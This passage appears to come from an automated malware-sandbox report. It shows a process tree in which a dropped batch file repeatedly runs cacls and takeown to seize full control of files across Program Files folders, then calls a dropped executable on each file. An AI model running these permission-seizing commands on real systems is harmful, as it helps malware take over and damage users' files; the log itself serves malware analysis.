C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\Journal.exe.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Journal.exe.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Journal.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\Graph.jtp""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Graph.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Graph.jtp"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Graph.jtp" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Graph.jtp" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\wabmig.exe""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "wabmig.exe" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "wabmig.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "AUMProduct.cer" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "AUMProduct.cer" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "email_all.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "email_all.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "open_original_form.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "open_original_form.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "rss.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "rss.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "turnOffNotificationInTray.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "turnOffNotificationInTray.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CourierStd-Oblique.otf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CourierStd-Oblique.otf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "SY______.PFM" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "SY______.PFM" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "can129.hsp" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "can129.hsp" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "icudt26l.dat" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "icudt26l.dat" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""2⤵
- Loads dropped DLL
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ROMANIAN.TXT" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ROMANIAN.TXT" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""2⤵
- Loads dropped DLL
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CP1258.TXT" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CP1258.TXT" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "wabmig.exe" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "wabmig.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "FreeCellMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "FreeCellMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "HeartsMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "HeartsMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\de-DE\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\jnwmon.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\fr-FR\jnwdui.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
-
